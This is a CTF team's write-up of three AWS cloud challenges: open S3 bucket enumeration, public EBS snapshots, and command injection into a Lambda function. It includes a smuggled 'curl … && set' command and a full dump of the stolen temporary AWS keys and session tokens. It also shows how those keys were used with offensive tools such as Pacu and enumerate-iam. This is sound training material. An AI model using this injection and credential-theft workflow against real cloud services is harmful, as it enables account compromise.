2020 HTH CTF - Cloud Challenges
Last weekend, @strupo_ joined team NiSec to participate in the HTH 2020 CTF and together they got on the podium in third place!
- Cloud
- Crypto
- Forensics
- Kali 101
- Misc
- Pwnables
- Recon
- Reverse Engineering
- Steganography
- Web
The Cloud category had three challenges:
- BucketList (100)
- OhSnap! (150)
- Serving Less (250)
BucketList
git clone && cd cloud_enum
pip3 install -r ./requirements.txt
The command used to solve this challenge can be seen here:
./cloud_enum.py -k hth2020-private --disable-azure --disable-gcp
cloud_enum
github.com/initstring
##########################
Mutations: /home/kali/cloud_enum/enum_tools/fuzz.txt
Brute-list: /home/kali/cloud_enum/enum_tools/fuzz.txt
[+] Mutations list imported: 242 items
[+] Mutated results: 1453 items
amazon checks
++++++++++++++++++++++++++
OPEN S3 BUCKET: http://hth2020-private.s3.amazonaws.com/
->http://hth2020-private.s3.amazonaws.com/hth2020-private
->http://hth2020-private.s3.amazonaws.com/flag.txt
We can see that cloud_enum found flag.txt in an open S3 bucket so it was simply a matter of reviewing the file:
HTH{checkthisoffyourbucketlist}
"I'm pretty sure I backed up the hth instance properly. Can you double check and see if the snapshots worked?"
OhSnap!
I'm pretty sure that I backed up our hth instance properly. Can you take a look at the AWS EBS snapshots and check?
hint: You will need an AWS account for this challenge. You can make one for free here: https://aws.amazon.com/resources/create-account/
For this one, we logged into our AWS account, and fumbled around the management console looking for public snapshots. One issue that we encountered was that we didn't think about which region we were connected to. Us-east-1 is in Virginia, and we found a snapshot where the time was in line with the last modified date that was gleaned from the the S3 bucket:
curl http://hth2020-private.s3.amazonaws.com/?versions
<?xml version="1.0" encoding="UTF-8"?>
<ListVersionsResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/"><Name>hth2020-private</Name><Prefix></Prefix><KeyMarker></KeyMarker><VersionIdMarker></VersionIdMarker><MaxKeys>1000</MaxKeys><IsTruncated>false</IsTruncated><Version><Key>flag.txt</Key><VersionId>null</VersionId><IsLatest>true</IsLatest><LastModified>2020-10-30T03:15:56.000Z</LastModified><ETag>"a3ebad67ece35f433c096e86651eba0b"</ETag><Size>146</Size><StorageClass>STANDARD</StorageClass></Version></ListVersionsResult>
After restoring the snapshot and attempting to connect to it, we hit a wall. Taking a minute to think about it, HTHackers is a central Ohio event and so we switched to us-east-2 and searched the public snapshots for "hth" where we found the flag.
Because the command line is preferable to a GUI, we then solved this challenge again using the AWS cli tool. Here's how to do it:
First, set up your AWS keys by using aws configure.
aws configure
AWS Access Key ID [****************FOO]:
AWS Secret Access Key [****************BAR]:
Default region name [us-east-1]: us-east-2
Default output format [None]:
Then, we ran the aws tool, setting the service to ec2 with the describe-snapshots command. We also used the --filters option to search descriptions for terms as seen below:
aws ec2 describe-snapshots --filters Name=description,Values=HTH*
{
"Snapshots": [
{
"Description": "HTH{allyoursnapshotarebelongtous}", "Encrypted": false,
"OwnerId": "351074089145",
"Progress": "100%",
"SnapshotId": "snap-0a54e4713301df94b", "StartTime": "2020-10-30T01:55:03.049Z",
"State": "completed",
"VolumeId": "vol-0f8e9b600853f9f23",
"VolumeSize": 1
}
]
}
Greetings from Amazon Web Services.
We are unable to validate important details about your Amazon Web Services (AWS) account. Your AWS account has been placed on hold pending additional verification. At this time, we need you to verify the details of your account.
Please fax us a copy of the documentation listed below:
-- Current bill showing your address (utility bill, phone bill, or similar)
-- Student ID card, if applicable
We request that you also provide us with the following information:
-- Business name
-- Business phone number
-- Billing telephone number on file with the bank
-- Bank phone number (found on the back of your card)
<snip>
Serving Less (250)
hint: It looks like the dashboard contains output from different shell commands, I wonder if you can run your own commands?
This link presented the following web page. From the hint and the contents of the page itself we inferred that we would need to find some place to inject commands:
Initial fuzzing for parameters was quickly halted due to the target throttling requests. We knew this would have to be a manual process so the first place we looked was the HTML source where we observed the following comment:
/**var secured = new XMLHttpRequest();
if (this.readyState == 4 && this.status == 200) {
document.getElementById("secured").innerHTML = this.responseText;
}
};
secured.open("POST", "https://qbf6sc8oa5.execute-api.us-east-1.amazonaws.com/controller", true);
secured.send("target","https://controller-cache.s3.amazonaws.com/");
**/
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 4881 100 4823 100 58 6597 79 --:--:-- --:--:-- --:--:-- 6668
"<HTML><HEAD><meta http-equiv=\"content-type\" content=\"text/html;charset=utf-8\">
<TITLE>301 Moved</TITLE></HEAD><BODY>
<H1>301 Moved</H1>
The document has moved
<A HREF=\"http://blog.welcomethrill.house/\">here</A>.
</BODY></HTML>
import json
import requests
from subprocess import PIPE, run
import base64
'''
==============
FRAGMENT - 01
4854487b6e300a0a
==============
'''
<snip>
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2877 100 2838 100 39 1558 21 0:00:01 0:00:01 --:--:-- 1579
"<HTML><HEAD><meta http-equiv=\"content-type\" content=\"text/html;charset=utf-8\">
<TITLE>301 Moved</TITLE></HEAD><BODY>
<H1>301 Moved</H1>
The document has moved
<A HREF=\"http://blog.welcomethrill.house/\">here</A>.
</BODY></HTML>
AWS_ACCESS_KEY_ID=ASIA5FQD66V2PKXEMC6F
AWS_DEFAULT_REGION=us-east-1
AWS_EXECUTION_ENV=AWS_Lambda_python3.7
AWS_LAMBDA_FUNCTION_MEMORY_SIZE=128
AWS_LAMBDA_FUNCTION_NAME=controller_logic
AWS_LAMBDA_FUNCTION_VERSION='$LATEST'
AWS_LAMBDA_LOG_GROUP_NAME=/aws/lambda/controller_logic
AWS_LAMBDA_LOG_STREAM_NAME='2020/11/17/[$LATEST]bf15004c855c4c638ed68d6eb941c404'
AWS_LAMBDA_RUNTIME_API=127.0.0.1:9001
AWS_REGION=us-east-1
AWS_SECRET_ACCESS_KEY=pr4WuPFZak4AVOAB7PZXfzKWuTYRwN38zaGaznmD
AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEL3//////////wEaCXVzLWVhc3QtMSJHMEUCICLjOSNx0NMI5TOGavz/9yhRXx6GplxvgkEU1thqTqhNAiEA6h4ilIlAgPEHMVn43cXl9OzdgHRO2TfBetXBC3M4SxAqzwEINRACGgw5MDUxNzI2NzgwMDQiDAy28cBovN+aA/eWsyqsAYe6myzzZdGD53miZq1wXioRgmzjl+bHC4RK9UiflY0b8mJRwa17vMwBbIPTOK0nvzywHBZehqWBhLdZ/jJ5eWC1hw7UdR7QsJEmxjUmqG1HLQLi/+n3YSV8R3rrN+3uG3vn8l87NJU6IGz1AAgAZDRY6phweuqpiMlfhQC2/kblgoP5UEZ0+K/LdMggKS/x9uGDQJp0vsNwGkSQhwUPT3Zmko7YOKrZAlODgyEw89rQ/QU64AEWnpeEynoQJs2JVnGDk6OLDlDvbfOVgMwSH/CNm1H/K0Vfc6eKDWJou+h9RhZxk2whs505B5Ty+7wOqfo+a1DlbvjCzZ2OBa5betukMidnoYGEufhMow378shtHJMjEUOCkk40nFcDU2u01gVALtqvOBA8WE81C8TlNM4KhjUc8Af0wyOpbsOnUGYP7RCQM2JLRNhMbHi/ImZmukD886UyU2xR0JeSGfavDfGW71qZm2InrhXVCp/ExR1Bt0iMEiSZZkY7o7uCdhZn25Q5oMpwXBxYg9hwERTEqNfLTCnK9A==
AWS_XRAY_CONTEXT_MISSING=LOG_ERROR
AWS_XRAY_DAEMON_ADDRESS=169.254.79.2:2000
BASH=/bin/sh
BASHOPTS=cmdhist:extquote:force_fignore:hostcomplete:interactive_comments:progcomp:promptvars:sourcepath
BASH_ALIASES=()
BASH_ARGC=()
BASH_ARGV=()
BASH_CMDS=()
BASH_EXECUTION_STRING='curl welcomethrill.house && set'
BASH_LINENO=()
BASH_SOURCE=()
BASH_VERSINFO=([0]=\"4\" [1]=\"2\" [2]=\"46\" [3]=\"2\" [4]=\"release\" [5]=\"x86_64-redhat-linux-gnu\")
BASH_VERSION='4.2.46(2)-release'
DIRSTACK=()
EUID=994
Fragment_02=5f35655276330a0a
GROUPS=()
HOSTNAME=169.254.217.181
HOSTTYPE=x86_64
IFS=' \t
'
LAMBDA_RUNTIME_DIR=/var/runtime
LAMBDA_TASK_ROOT=/var/task
LANG=en_US.UTF-8
LD_LIBRARY_PATH=/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/lib
MACHTYPE=x86_64-redhat-linux-gnu
OPTERR=1
OPTIND=1
OSTYPE=linux-gnu
PATH=/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin
PIPESTATUS=([0]=\"0\")
POSIXLY_CORRECT=y
PPID=8
PS4='+ '
PWD=/var/task
SHELL=/sbin/nologin
SHELLOPTS=braceexpand:hashall:interactive-comments:posix
SHLVL=1
TERM=dumb
TZ=:UTC
UID=994
_=welcomethrill.house
_AWS_XRAY_DAEMON_ADDRESS=169.254.79.2
_AWS_XRAY_DAEMON_PORT=2000
_HANDLER=lambda_function.lambda_handler
_X_AMZN_TRACE_ID='Root=1-5fb42d73-00bb14ac765a7d3d66b3d4e9;Parent=152e91de74b608b6;Sampled=0'
- Pacu
- WeirdAAL
- Enumerate-IAM
Pacu
Pacu is an open-source AWS exploitation framework, designed for offensive security testing against cloud environments. Created and maintained by Rhino Security Labs, Pacu allows penetration testers to exploit configuration flaws within an AWS account, using modules to easily expand its functionality. Current modules enable a range of attacks, including user privilege escalation, backdooring of IAM users, attacking vulnerable Lambda functions, and much more.
Installation and use was straight forward:
git clone https://github.com/RhinoSecurityLabs/pacu && cd pacu
Unfortunately for us, Pacu was not the right tool for the job. In lieu of covering how we ran, literally, all of the modules and failed, here are some basic tips and tricks instead:
To list modules, type ls
To run a module, type: run <module__name> # for example: Pacu (hth:hth) > run ec2__enum
WeirdAAL
- Answer what can I do with this AWS Keypair [blackbox]?
- Be a repository of useful functions (offensive & defensive) to interact with AWS services.
git clone https://github.com/carnal0wnage/weirdAAL.git
python3 create_dbs.py
There were a few missing dependencies on our Kali 2020.2 image that we installed using pip, but nothing overwhelming.
[default]
aws_access_key_id = ASIA5FQD66V2GBTFRPGO
aws_secret_access_key = iXh93G067aEoR7mqGSYLAkBb0hImSzIMXR9/IoyO
aws_session_token = IQoJb3JpZ2luX2VjELf//////////wEaC<snip>bBA==
Enumerate-IAM
git clone git@github.com:andresriancho/enumerate-iam.git
2020-11-16 18:51:30,502 - 84840 - [INFO] -- Account ARN : arn:aws:sts::905172678004:assumed-role/hth_2020_surfin-role-9mahzo9e/controller_logic
2020-11-16 18:51:30,502 - 84840 - [INFO] -- Account Id : 905172678004
2020-11-16 18:51:30,502 - 84840 - [INFO] -- Account Path: assumed-role/hth_2020_surfin-role-9mahzo9e/controller_logic
2020-11-16 18:51:31,318 - 84840 - [INFO] Attempting common-service describe / list brute force.
2020-11-16 18:51:33,532 - 84840 - [INFO] -- sts.get_caller_identity() worked!
2020-11-16 18:51:33,724 - 84840 - [INFO] -- dynamodb.describe_endpoints() worked!
AWS CLI
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1156 100 1087 100 69 2127 135 --:--:-- --:--:-- --:--:-- 2262
"{\"version\":\"2.0\",\"routeKey\":\"ANY /controller\",\"rawPath\":\"/controller\",\"rawQueryString\":\"\",\"headers\":{\"accept\":\"*/*\",\"content-length\":\"69\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"qbf6sc8oa5.execute-api.us-east-1.amazonaws.com\",\"user-agent\":\"curl/7.72.0\",\"x-amzn-trace-id\":\"Root=1-5fb5ff71-0b32fd6e66c2c9213ed75fae\",\"x-forwarded-for\":\"156.146.55.226\",\"x-forwarded-port\":\"443\",\"x-forwarded-proto\":\"https\"},\"requestContext\":{\"accountId\":\"905172678004\",\"apiId\":\"qbf6sc8oa5\",\"domainName\":\"qbf6sc8oa5.execute-api.us-east-1.amazonaws.com\",\"domainPrefix\":\"qbf6sc8oa5\",\"http\":{\"method\":\"POST\",\"path\":\"/controller\",\"protocol\":\"HTTP/1.1\",\"sourceIp\":\"156.146.55.226\",\"userAgent\":\"curl/7.72.0\"},\"requestId\":\"WPTZuj6NIAMEMBw=\",\"routeKey\":\"ANY /controller\",\"stage\":\"$default\",\"time\":\"19/Nov/2020:05:15:29 +0000\",\"timeEpoch\":1605762929331},\"body\":\"eyJ0YXJnZXQiOiJodHRwOi8vbG9jYWxob3N0OjkwMDEvMjAxOC0wNi0wMS9ydW50aW1lL2ludm9jYXRpb24vbmV4dCJ9\",\"isBase64Encoded\":true}"
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2053 100 2015 100 38 4324 81 --:--:-- --:--:-- --:--:-- 4396
"AWS_LAMBDA_FUNCTION_VERSION=$LATEST\u0000AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEN7//////////wEaCXVzLWVhc3QtMSJHMEUCIQCU5i4fzClpykDt1bjTC3pBSNnLjncno1zmao+RMtqrzgIgcwiJOCVg9C+Wm8Omkd01LpnXj4LBq4GXW7O6BkwkBTkqzwEIVhACGgw5MDUxNzI2NzgwMDQiDP/J8f6ma/b88BuImSqsAZRr9Ws65qd/UodISWZQTUAH75wqOucJGKeIfabNTkIdNKrROSHDNTsuQnvPq/3OAFlEtvK7pFjaXAyoqJ9BSH8K8j7ndzvqyvJDOqnm1NbcN1LSNyvVbxesG4FLL6u70g+DhZXBlBGAVvyH/3eDi5nCa4RK3MBpHVeKbgGaZEHB/LjbBTwCPpCTY69md+FWK8+ci7NlSUdyxzDAimRzZQYyERavEL6lKsAfuB0wwvzX/QU64AEhNNKQrIelL645hrJsq1RwaA3oAG1gI8EErXeXA7KtsKOx01nUjJKvSlqe2N6Lcs0RQUbgwjmhRgZvXCVOxT71Xq96cQ+B2Irb7pd0AWzgIRSBcNeBqeg3MlStqPdHcEhVGiZqHc7SWfsBWhczup+XcuLzl31nkwGjfz8Guuc8ljOA45O+Yq+9LBBqT6iyAYiWIqb4StU/624F63JOkvhK959BpViy8M0lOwsEhOW76AC3W6L6/tI4OneOTZI+9Kws+Z1Z7Nexa0ateaufLoqSvmkaP6lUF6cyqtycGZD3Ew==\u0000LAMBDA_TASK_ROOT=/var/task\u0000AWS_LAMBDA_LOG_GROUP_NAME=/aws/lambda/controller_logic\u0000LD_LIBRARY_PATH=/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/lib\u0000AWS_LAMBDA_RUNTIME_API=127.0.0.1:9001\u0000AWS_LAMBDA_LOG_STREAM_NAME=2020/11/19/[$LATEST]fa0c595a079041c78df7da5c79b80a2d\u0000AWS_EXECUTION_ENV=AWS_Lambda_python3.7\u0000AWS_XRAY_DAEMON_ADDRESS=169.254.79.2:2000\u0000AWS_LAMBDA_FUNCTION_NAME=controller_logic\u0000PATH=/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin\u0000AWS_DEFAULT_REGION=us-east-1\u0000PWD=/var/task\u0000AWS_SECRET_ACCESS_KEY=gnbCNqvsAIaH39tKFVtu4aTjdcZecbZ9zTpM55IS\u0000LAMBDA_RUNTIME_DIR=/var/runtime\u0000LANG=en_US.UTF-8\u0000AWS_LAMBDA_INITIALIZATION_TYPE=on-demand\u0000AWS_REGION=us-east-1\u0000TZ=:UTC\u0000AWS_ACCESS_KEY_ID=ASIA5FQD66V2IPFKQ24F\u0000SHLVL=1\u0000_AWS_XRAY_DAEMON_ADDRESS=169.254.79.2\u0000_AWS_XRAY_DAEMON_PORT=2000\u0000_X_AMZN_TRACE_ID=Root=1-5fb5fffe-1224035605de0e88414ff2d3;Parent=78a8ecc10cfc9a7d;Sampled=0\u0000Fragment_02=5f35655276330a0a\u0000AWS_XRAY_CONTEXT_MISSING=LOG_ERROR\u0000_HANDLER=lambda_function.lambda_handler\u0000AWS_LAMBDA_FUNCTION_MEMORY_SIZE=128\u0000_=/usr/bin/curl\u0000"
The Solution
2020-10-17 20:42:28 79 secure.bin
aws s3 cp s3://controller-cache/secure.bin .
download: s3://controller-cache/secure.bin to ./secure.bin
cat ./secure.bin
==============
FRAGMENT - 03
725f4e6f5f7072306237336d5f7d0a0a
==============
cat ./secure.bin | grep 7 | xxd -r -p
r_No_pr0b73m_}
Conclusion
@strupo_
Find us on twitter: @teamWTG